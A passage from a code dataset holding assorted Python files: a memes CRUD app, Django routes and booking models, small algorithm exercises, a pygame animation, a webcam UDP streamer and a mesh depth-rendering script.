"torch.cat", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 322, "usage_type": "call"}, {"api_name": "os.path", "line_number": 322, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 323, "usage_type": "call"}, {"api_name": "os.path", "line_number": 323, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 327, "usage_type": "call"}, {"api_name": "colorsys.hsv_to_rgb", "line_number": 340, "usage_type": "call"}, {"api_name": "torch.empty", "line_number": 352, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 355, "usage_type": "call"}, {"api_name": "modelscope.preprocessors.image.load_image", "line_number": 370, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 378, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 378, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 379, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 380, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 381, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 382, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 383, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 387, "usage_type": "call"}]} +{"seq_id": "7373037143", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\nfrom google.appengine.ext import ndb\nfrom core.historia.model import Memes\nfrom core.usuario import seguranca\nfrom zen import router\n\n@seguranca.usuario_logado\ndef form(write_tmpl):\n values = {\"save_url\":router.to_path(salvar)}\n write_tmpl(\"/historia/templates/memes_form.html\",values)\n\ndef salvar(handler, img_meme,titulo, conteudo, id=None):\n #SE O ID NÃO EXISTIR ELE CRIA UM NOVO ID E REGISTRO\n if id:\n memes = Memes(id=long(id), img_meme=img_meme, titulo=titulo, conteudo=conteudo)\n #SE ELE POSSUIR UM ID, ELE REALIZA UM UPDATE DO RESGISTRO\n else:\n memes = Memes(img_meme=img_meme, titulo=titulo, conteudo=conteudo)\n #SALVA AS ALTERAÇÕES\n memes.put()\n #REDIRECIONA PARA O LISTAR\n handler.redirect(router.to_path(listar))\n\ndef listar(write_tmpl):\n #REALIZA A CONSULTA PELOS ID MAIORES QUE 0 E ORDENA POR ID\n query = Memes.query().order(Memes.key)\n #TRAZ SOMENTE 10 LINHAS DA CONSULTA\n memes = query.fetch(10)\n #VALORES QUE SERÃO PASSADOS NA URL\n values = {\"memes\":memes}\n #MONTA A PAGINA\n write_tmpl(\"/historia/templates/memes_list.html\",values)\n\n@seguranca.usuario_logado\ndef adminlist(write_tmpl):\n #REALIZA A CONSULTA PELOS ID MAIORES QUE 0 E ORDENA POR ID\n query = Memes.query().order(Memes.key)\n #TRAZ SOMENTE 10 LINHAS DA CONSULTA\n memes = query.fetch(10)\n #VALORES QUE SERÃO PASSADOS NA URL\n values = {\"memes\":memes,\n \"apagar_url\":router.to_path(apagar),\n \"editar_url\":router.to_path(editar)}\n #MONTA A PAGINA\n write_tmpl(\"/historia/templates/memes_listadmin.html\",values)\n\n\ndef apagar(handler, id):\n #RECEBE O OBJETO MAIS O ID DELE\n key = ndb.Key(Memes,long(id))\n #DELETA O REGISTRO\n key.delete()\n #REDIRECIONA PARA A PAGINA LISTAR\n handler.redirect(router.to_path(listar))\n\ndef editar(write_tmpl,urlsafe):\n #\n key = ndb.Key(urlsafe=urlsafe)\n #PEGA A CHAVE PRIMARIA E ARMAZENA NA HISTORIA\n memes = key.get()\n #CARREGA O VALORES DA PK E MANDA PARA O SALVAR\n values = {\"save_url\":router.to_path(salvar),\n \"memes\":memes}\n write_tmpl(\"/historia/templates/memes_form.html\")\n", "repo_name": "lshens/Mosquelando", "sub_path": "src/web/historia/memes.py", "file_name": "memes.py", "file_ext": "py", "file_size_in_byte": 2239, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "zen.router.to_path", "line_number": 10, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 10, "usage_type": "name"}, {"api_name": "core.usuario.seguranca.usuario_logado", "line_number": 8, "usage_type": "attribute"}, {"api_name": "core.usuario.seguranca", "line_number": 8, "usage_type": "name"}, {"api_name": "core.historia.model.Memes", "line_number": 16, "usage_type": "call"}, {"api_name": "core.historia.model.Memes", "line_number": 19, "usage_type": "call"}, {"api_name": "zen.router.to_path", "line_number": 23, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 23, "usage_type": "name"}, {"api_name": "core.historia.model.Memes.query", "line_number": 27, "usage_type": "call"}, {"api_name": "core.historia.model.Memes", "line_number": 27, "usage_type": "name"}, {"api_name": "core.historia.model.Memes.key", "line_number": 27, "usage_type": "attribute"}, {"api_name": "core.historia.model.Memes.query", "line_number": 38, "usage_type": "call"}, {"api_name": "core.historia.model.Memes", "line_number": 38, "usage_type": "name"}, {"api_name": "core.historia.model.Memes.key", "line_number": 38, "usage_type": "attribute"}, {"api_name": "zen.router.to_path", "line_number": 43, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 43, "usage_type": "name"}, {"api_name": "zen.router.to_path", "line_number": 44, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 44, "usage_type": "name"}, {"api_name": "core.usuario.seguranca.usuario_logado", "line_number": 35, "usage_type": "attribute"}, {"api_name": "core.usuario.seguranca", "line_number": 35, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Key", "line_number": 51, "usage_type": "call"}, {"api_name": "core.historia.model.Memes", "line_number": 51, "usage_type": "argument"}, {"api_name": "google.appengine.ext.ndb", "line_number": 51, "usage_type": "name"}, {"api_name": "zen.router.to_path", "line_number": 55, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 55, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Key", "line_number": 59, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 59, "usage_type": "name"}, {"api_name": "zen.router.to_path", "line_number": 63, "usage_type": "call"}, {"api_name": "zen.router", "line_number": 63, "usage_type": "name"}]} +{"seq_id": "38580520697", "text": "import sys\nfrom collections import deque\n\nqueue = deque([])\nn = int(sys.stdin.readline().rstrip())\nfor _ in range(n):\n s = sys.stdin.readline().rstrip().split()\n if s[0] == \"push_front\":\n queue.appendleft(int(s[1]))\n elif s[0] == \"push_back\":\n queue.append(int(s[1]))\n elif s[0] == \"pop_front\":\n if len(queue) == 0:\n print(-1)\n else:\n print(queue[0])\n queue.popleft()\n elif s[0] == \"pop_back\":\n if len(queue) == 0:\n print(-1)\n else:\n print(queue[len(queue)-1])\n queue.pop()\n elif s[0] == \"size\":\n print(len(queue))\n elif s[0] == \"empty\":\n if len(queue) == 0:\n print(1)\n else:\n print(0)\n elif s[0] == \"front\":\n if len(queue) == 0:\n print(-1)\n else:\n print(queue[0])\n elif s[0] == \"back\":\n if len(queue) == 0:\n print(-1)\n else:\n print(queue[len(queue)-1])", "repo_name": "ChoiYeonHo99/BAEKJOON", "sub_path": "20. 큐, 덱/5. 10866.py", "file_name": "5. 10866.py", "file_ext": "py", "file_size_in_byte": 1003, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.deque", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.stdin.readline", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 7, "usage_type": "attribute"}]} +{"seq_id": "9777614698", "text": "from django.urls import path\nfrom .views import (\n PostList, PostDetail, PostCreate, PostUpdate, PostDelete, UserView, CommentCreate, comment_approve, comment_delete\n)\nfrom django.views.decorators.cache import cache_page\n\nurlpatterns = [\n path('', PostList.as_view(), name='post_list'),\n path('', (PostDetail.as_view()), name='post_detail'),\n path('/update/', PostUpdate.as_view(), name='post_update'),\n path('create/', PostCreate.as_view(), name='post_create'),\n path('/delete/', PostDelete.as_view(), name='post_delete'),\n path('/comment/', CommentCreate.as_view(), name='comment_create'),\n path('approve/', comment_approve, name='comment_approve'),\n path('delete/', comment_delete, name='comment_delete'),\n\n path('profile/', UserView.as_view(), name='user'),\n\n]", "repo_name": "Maxrainyx/Dashboard", "sub_path": "dashboard/board/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 832, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "views.PostList.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "views.PostList", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.PostDetail.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "views.PostDetail", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.PostUpdate.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "views.PostUpdate", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.PostCreate.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.PostCreate", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.PostDelete.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "views.PostDelete", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "views.CommentCreate.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "views.CommentCreate", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "views.comment_approve", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "views.comment_delete", "line_number": 15, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "views.UserView.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "views.UserView", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "13597444286", "text": "from collections import Counter\n\n\ndef can_be_poly(s: str) -> bool:\n \"\"\"Проверка на полиндром\"\"\"\n letters_dict = Counter(s.strip())\n not_couple_count = sum(1 for x in letters_dict.values() if x % 2 != 0)\n return not_couple_count <= 1\n\n\nprint(can_be_poly('abcba'))\nprint(can_be_poly('abbbc'))\n", "repo_name": "qprinceqq/sb-python", "sub_path": "Module_2/17_practice/task_3.py", "file_name": "task_3.py", "file_ext": "py", "file_size_in_byte": 322, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.Counter", "line_number": 6, "usage_type": "call"}]} +{"seq_id": "26416217047", "text": "# Tee animaatio, jossa pallo kimpoaa ikkunan reunoilta.\nimport pygame\nimport math\n \npygame.init()\npygame.display.set_caption(\"Pomppiva pallo\")\nleveys, korkeus = 640, 480\nnaytto = pygame.display.set_mode((leveys, korkeus))\n \npallo = pygame.image.load(\"pallo.png\")\n \nx = 0\ny = 0\nnopeus_x = 2\nnopeus_y = 2\nkello = pygame.time.Clock()\n \nwhile True:\n for tapahtuma in pygame.event.get():\n if tapahtuma.type == pygame.QUIT:\n exit()\n \n x += nopeus_x\n y += nopeus_y\n \n if x == 0 or x+pallo.get_width() == leveys:\n nopeus_x = -nopeus_x\n if y == 0 or y+pallo.get_height() == korkeus:\n nopeus_y = -nopeus_y\n \n naytto.fill((0, 0, 0))\n naytto.blit(pallo, (x, y))\n pygame.display.flip()\n \n kello.tick(60)\n", "repo_name": "TomiSar/ProgrammingMOOC2020", "sub_path": "osa13-09_pomppiva_pallo/src/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 750, "program_lang": "python", "lang": "fi", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 33, "usage_type": "attribute"}]} +{"seq_id": "72322406729", "text": "import os\nimport sys\nimport cv2\nimport time\nimport numpy\nimport socket\nfrom PIL import Image\nfrom io import StringIO, BytesIO\n\n\nclass SendVideo(object):\n IP = '192.168.50.60'\n PORT = 5000\n\n def __init__(self):\n self.init_param()\n\n def init_param(self):\n self.addr = (self.IP, self.PORT)\n\n def img_to_stream(self, pic):\n img_io = None\n with BytesIO() as stream:\n temp = Image.fromarray(pic)\n temp.save(stream, format='JPEG')\n img_io = stream.getvalue()\n return img_io\n\n def camera(self):\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n cam = cv2.VideoCapture(0)\n while cam.isOpened():\n time.sleep(1 / 50)\n ret, frame = cam.read()\n if ret:\n jpeg = self.img_to_stream(frame)\n sock.sendto(jpeg, self.addr)\n cam.release()\n sock.close()\n\n\nif __name__ == '__main__':\n s = SendVideo()\n\n\n", "repo_name": "yzpwslc/myRapi", "sub_path": "myRapi/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 984, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "io.BytesIO", "line_number": 23, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 24, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 24, "usage_type": "name"}, {"api_name": "socket.socket", "line_number": 30, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 30, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 30, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 31, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}]} +{"seq_id": "17262905628", "text": "from typing import List\n\nimport unittest\n\nclass Solution:\n def sortColors(self, nums: List[int]) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n\n red, white, blue = 0, 0, 0\n\n for num in nums:\n if num == 0:\n red +=1\n elif num == 1:\n white += 1\n else:\n blue += 1\n\n for i in range(red):\n nums[i] = 0\n\n for i in range(red, red + white):\n nums[i] = 1\n\n for i in range(red + white, red + white + blue):\n nums[i] = 2\n \n\nclass Tests(unittest.TestCase):\n def test_example1(self):\n solution = Solution()\n\n nums = [2,0,2,1,1,0]\n solution.sortColors(nums)\n self.assertEqual(nums, [0,0,1,1,2,2])\n\n def test_example2(self):\n solution = Solution()\n\n nums = [2,0,1]\n solution.sortColors(nums)\n self.assertEqual(nums, [0,1,2])\n\n\nif __name__ == '__main__':\n unittest.main()", "repo_name": "foxesknow/questions", "sub_path": "python/75-SortColors/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1024, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 31, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 48, "usage_type": "call"}]} +{"seq_id": "23347004960", "text": "import xml.etree.ElementTree as ET\n\ndef dict_to_xml(dictionary, root_name):\n root = ET.Element(root_name)\n for key, value in dictionary.items():\n if isinstance(value, dict):\n child = dict_to_xml(value, key)\n root.append(child)\n else:\n \n child = ET.Element(key)\n child.text = str(value)\n root.append(child)\n return root\n\n# Example dictionary\ndata = {\n \"person\": {\n \"name\": \"Mohan\",\n \"age\": 20,\n \"city\": \"Guna\",\n \"State\": \"M.p\"\n\n }\n}\n\n# Convert the dictionary to XML\nroot_element = dict_to_xml(data, \"data\")\nxml_string = ET.tostring(root_element, encoding=\"unicode\")\n\n# Print the XML\nprint(xml_string)\n", "repo_name": "Mohan1315/collegelife", "sub_path": "SGSITS College/Programming Practice/Python Assignment/dic_to_xml.py", "file_name": "dic_to_xml.py", "file_ext": "py", "file_size_in_byte": 719, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "xml.etree.ElementTree.Element", "line_number": 4, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 4, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 11, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 11, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 29, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 29, "usage_type": "name"}]} +{"seq_id": "19936367598", "text": "from datetime import datetime\n\nfrom django.db import models\n\nfrom clinic.models import Clinic\n\n\nSERVICE_CHOICES = (\n ('Doctor Consultation', 'Doctor Consultation'),\n ('Well Baby Clinics', 'Well Baby Clinics'),\n ('Dental', 'Dental'),\n ('Optical', 'Optical'),\n ('Pharmacy', 'Pharmacy'),\n ('Laboratory', 'Laboratory'),\n ('Imaging', 'Imaging'),\n ('Physiotherapy', 'Physiotherapy'),\n ('Family Planning', 'Family Planning'),\n ('Nutrition', 'Nutrition'),\n ('Mental Health', 'Mental Health'),\n ('Other', 'Other'),\n)\n\nTIME_CHOICES = (\n ('8:00AM', '8:00AM'),\n ('8:30AM', '8:30AM'),\n ('9:00AM', '9:00AM'),\n ('9:30AM', '9:30AM'),\n ('10:00AM', '10:00AM'),\n ('10:30AM', '10:30AM'),\n ('11:00AM', '11:00AM'),\n ('11:30AM', '11:30AM'),\n ('12:00PM', '12:00PM'),\n ('12:30PM', '12:30PM'),\n ('1:00PM', '1:00PM'),\n ('1:30PM', '1:30PM'),\n ('2:00PM', '2:00PM'),\n ('2:30PM', '2:30PM'),\n ('3:00PM', '3:00PM'),\n ('3:30PM', '3:30PM'),\n ('4:00PM', '4:00PM'),\n ('4:30PM', '4:30PM'),\n ('5:00PM', '5:00PM'),\n ('5:30PM', '5:30PM'),\n ('6:00PM', '6:00PM'),\n ('6:30PM', '6:30PM'),\n ('7:00PM', '7:00PM'),\n ('7:30PM', '7:30PM'),\n ('8:00PM', '8:00PM'),\n)\n\n\nclass FirebaseUser(models.Model):\n uid = models.CharField(max_length=255, unique=True)\n email = models.EmailField(max_length=255, unique=True)\n display_name = models.CharField(max_length=255, blank=True)\n\n def __str__(self):\n return self.display_name\n\n\nclass Appointment(models.Model):\n user = models.ForeignKey(FirebaseUser, on_delete=models.CASCADE, related_name='appointments', null=True, blank=True)\n clinic = models.ForeignKey(Clinic, on_delete=models.CASCADE, related_name='appointments', null=True, blank=True)\n service = models.CharField(max_length=255, choices=SERVICE_CHOICES, default='Doctor Consultation')\n day = models.DateField(default=datetime.now)\n time = models.CharField(choices=TIME_CHOICES, default='11:00AM', max_length=255)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return f'{self.user} - {self.clinic} - {self.service} - {self.day} - {self.time}'\n\n", "repo_name": "Terry-Mochire/HealthCompanion", "sub_path": "booking/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2233, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.db.models.Model", "line_number": 52, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 52, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 53, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 53, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 54, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 54, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 61, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 61, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 62, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 62, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 62, "usage_type": "attribute"}, {"api_name": "clinic.models", "line_number": 63, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 63, "usage_type": "call"}, {"api_name": "clinic.models.Clinic", "line_number": 63, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 63, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 63, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 64, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 65, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 65, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 65, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 66, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 66, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 67, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 67, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 68, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 68, "usage_type": "name"}]} +{"seq_id": "37473012818", "text": "import copy\nimport logging\nimport os\nimport shutil\nfrom argparse import ArgumentParser, Namespace\nfrom pathlib import Path\nfrom time import time\nfrom typing import Any\n\nimport numpy as np\nimport open3d as o3d\nimport pyrender\nfrom PIL import Image\nfrom easy_o3d.utils import convert_depth_image_to_point_cloud, convert_rgbd_image_to_point_cloud\nfrom pyrender.shader_program import ShaderProgramCache\nfrom scipy.spatial.transform import Rotation as R\nfrom trimesh import Trimesh\n\nfrom libs.libkinect import KinectSim\nfrom utils import inv_trafo, setup_logger, set_log_level, load_mesh, save_command_and_args_to_file\nfrom .src.utils import resolve_dtype, normalize_mesh, look_at, part_sphere\n\nlogger = setup_logger(__name__)\n\n\ndef render(in_path: Path, out_dir: Path, args: Any):\n params_path = out_dir / 'parameters.npz'\n lock_path = out_dir / 'lock'\n kinect_path = out_dir / 'kinect'\n kinect_path.mkdir(parents=True, exist_ok=True)\n kinect_files = list(kinect_path.glob(f'*{args.out_format_depth}'))\n\n depth_path = out_dir / 'depth'\n normal_path = out_dir / 'normal'\n depth_path.mkdir(parents=True, exist_ok=True)\n normal_path.mkdir(parents=True, exist_ok=True)\n depth_files = list(depth_path.glob(f'*{args.out_format_depth}'))\n normal_files = list(normal_path.glob(f'*{args.out_format_normal}'))\n\n if args.check:\n try:\n data = np.load(str(params_path))\n for key in data:\n value = data[key]\n if key in ['max_depths', 'kinect_max_depths']:\n for max_depth in value:\n assert max_depth > 0, 'Error: Max depth is invalid.'\n for depth_file in depth_files:\n depth = np.asarray(Image.open(str(depth_file)))\n assert depth.any(), 'Error: Depth image is empty.'\n for normal_file in normal_files:\n normal = np.asarray(Image.open(str(normal_file)))\n assert normal.any(), 'Error: Normal image is empty.'\n for kinect_file in kinect_files:\n kinect_depth_map = np.asarray(Image.open(str(kinect_file)))\n assert kinect_depth_map.any(), 'Error: Kinect image is empty.'\n except Exception as e:\n logger.error(f'Files for {in_path} are corrupted.')\n logger.exception(e)\n if args.fix:\n logger.warning(f'Removing corrupted files for {in_path}.')\n params_path.unlink(missing_ok=True)\n lock_path.unlink(missing_ok=True)\n shutil.rmtree(kinect_path, ignore_errors=True)\n kinect_path.mkdir(parents=True, exist_ok=True)\n shutil.rmtree(depth_path, ignore_errors=True)\n shutil.rmtree(normal_path, ignore_errors=True)\n depth_path.mkdir(parents=True, exist_ok=True)\n normal_path.mkdir(parents=True, exist_ok=True)\n elif args.remove:\n logger.warning(f'Check failed. Removing {out_dir}.')\n shutil.rmtree(out_dir, ignore_errors=True)\n return\n else:\n return\n\n lock = lock_path.exists()\n all_files = all(len(files) >= args.n_views for files in [depth_files, normal_files, kinect_files])\n\n if not all_files and not lock:\n open(out_dir / 'lock', 'w').close()\n\n if (all_files or lock) and not args.overwrite:\n logger.debug(f'File {in_path} already {\"being \" if lock else \"\"}processed. Skipping.')\n return\n\n depth_dtype = resolve_dtype(args.depth_precision, integer=True, unsigned=True)\n\n uint8_max = 2 ** 8 - 1\n uint16_max = 2 ** 16 - 1\n max_value = uint8_max if depth_dtype == np.uint8 else uint16_max\n\n intrinsic = np.array([[args.fx, 0, args.cx],\n [0, args.fy, args.cy],\n [0, 0, 1]])\n\n restart = time()\n mesh = Trimesh(*load_mesh(in_path,\n force='mesh',\n process=args.process,\n validate=args.process,\n enable_post_processing=args.process),\n process=False,\n validate=False)\n vertices, faces = mesh.vertices, mesh.faces\n if len(vertices) == 0 or len(faces) == 0:\n logger.error(f'Error: Mesh {in_path} is empty.')\n return\n logger.debug(f'Loaded mesh ({len(vertices)} vertices, {len(faces)} faces) in {time() - restart:.4f}s.')\n\n restart = time()\n scale_y = mesh.extents.max()\n scale = np.array([scale_y, scale_y, scale_y])\n logger.debug(f'Object scale is {scale_y}.')\n mesh = normalize_mesh(mesh)\n logger.debug(f'Normalized mesh in {time() - restart:.4f}s.')\n\n restart = time()\n scene = pyrender.Scene()\n camera = pyrender.IntrinsicsCamera(args.fx, args.fy, args.cx, args.cy, args.znear, args.zfar)\n camera_node = pyrender.Node(camera=camera, matrix=np.eye(4))\n scene.add_node(camera_node)\n logger.debug(f'Prepared scene in {time() - restart:.4f}s.')\n\n restart = time()\n renderer = pyrender.OffscreenRenderer(args.width, args.height)\n shader_dir = Path(__file__).parent.parent / 'utils' / 'assets' / 'shaders'\n renderer._renderer._program_cache = ShaderProgramCache(shader_dir=shader_dir)\n logger.debug(f'Prepared renderer in {time() - restart:.4f}s.')\n\n restart = time()\n kinect_sim = KinectSim()\n logger.debug(f'Prepared Kinect simulator in {time() - restart:.4f}s.')\n\n max_depths = list()\n kinect_max_depths = list()\n extrinsics = list()\n scales = list()\n rotations = list()\n\n for index in range(args.n_views):\n logger.debug(f'Rendering view {index + 1}/{args.n_views}.')\n\n tmp_mesh = mesh.copy()\n if args.scale_object:\n scale_xz = np.clip(np.abs(np.random.normal(0.15, 0.06)), 0.05, 0.5)\n scale = np.array([scale_xz, scale_xz, scale_xz])\n if args.distort_object:\n scale_y_offset = np.clip(np.random.normal(0, 0.1), -0.2, 0.2)\n scale_y = scale_xz * (1 + scale_y_offset)\n scale = np.array([scale_xz, scale_y, scale_xz])\n logger.debug(f'Sampled scale {scale}.')\n tmp_mesh.vertices *= scale\n\n trafo = np.eye(4)\n if args.rotate_object or args.axis or args.angle:\n poses_path = in_path.parent / 'poses.npy'\n if poses_path.exists():\n logger.debug(f'Loading poses from {poses_path}.')\n poses = np.load(str(poses_path))\n choice = np.random.randint(len(poses)) if np.random.random() < 0.5 else 0\n pose = poses[choice]\n trafo[:3, :3] = pose[:3, :3]\n\n axis = args.axis if args.axis else np.random.choice(['', 'x', 'z', 'xz'], p=[0.5, 0.2, 0.2, 0.1])\n if axis:\n angle = args.angle if args.angle else np.random.choice([0, 90, 180], size=len(axis))\n logger.debug(f'Rotating object around {axis} axis by {angle} degrees.')\n rot = R.from_euler(axis, angle, degrees=True).as_matrix()\n trafo[:3, :3] = rot @ trafo[:3, :3]\n\n tmp_mesh.apply_transform(trafo)\n\n mesh_node = pyrender.Node(mesh=pyrender.Mesh.from_trimesh(tmp_mesh, smooth=False))\n scene.add_node(mesh_node)\n\n inplane_rot = R.from_euler('z',\n args.inplane_rotation,\n degrees=True).as_matrix() if args.inplane_rotation else None\n\n min_pixels = 100\n inv_extrinsic = np.eye(4)\n depth_map = np.zeros((args.height, args.width), dtype=np.float32)\n normal_image = np.zeros((args.height, args.width, 3), dtype=np.uint8)\n kinect_depth_map = np.zeros((args.height, args.width), dtype=np.float32)\n for _ in range(100):\n radius = np.clip(np.abs(np.random.normal(0.65, 0.1)), 0.5, 1) + scale_y\n logger.debug(f'Sampled radius {radius:.4f}.')\n offset_x = np.clip(np.random.normal(0, 0.2), -0.2, 0.2)\n offset_y = 0\n offset_z = 0\n offset = np.array([offset_x, offset_y, offset_z])\n logger.debug(f'Sampled offset {offset}.')\n eye = part_sphere(center=np.zeros(3),\n radius=radius,\n mode='SURFACE',\n part_sphere_dir_vector=[0, 1, 0])\n logger.debug(f'Sampled eye {eye}.')\n inv_extrinsic = look_at(eye=eye, target=np.array(offset))\n\n if inplane_rot is not None:\n inv_extrinsic[:3, :3] = inv_extrinsic[:3, :3] @ inplane_rot\n\n restart = time()\n scene.set_pose(camera_node, inv_extrinsic)\n normal_image, depth_map = renderer.render(scene, flags=pyrender.RenderFlags.OFFSCREEN)\n logger.debug(f'Rendered depth and normal map in {time() - restart:.4f}s.')\n\n restart = time()\n extrinsic = 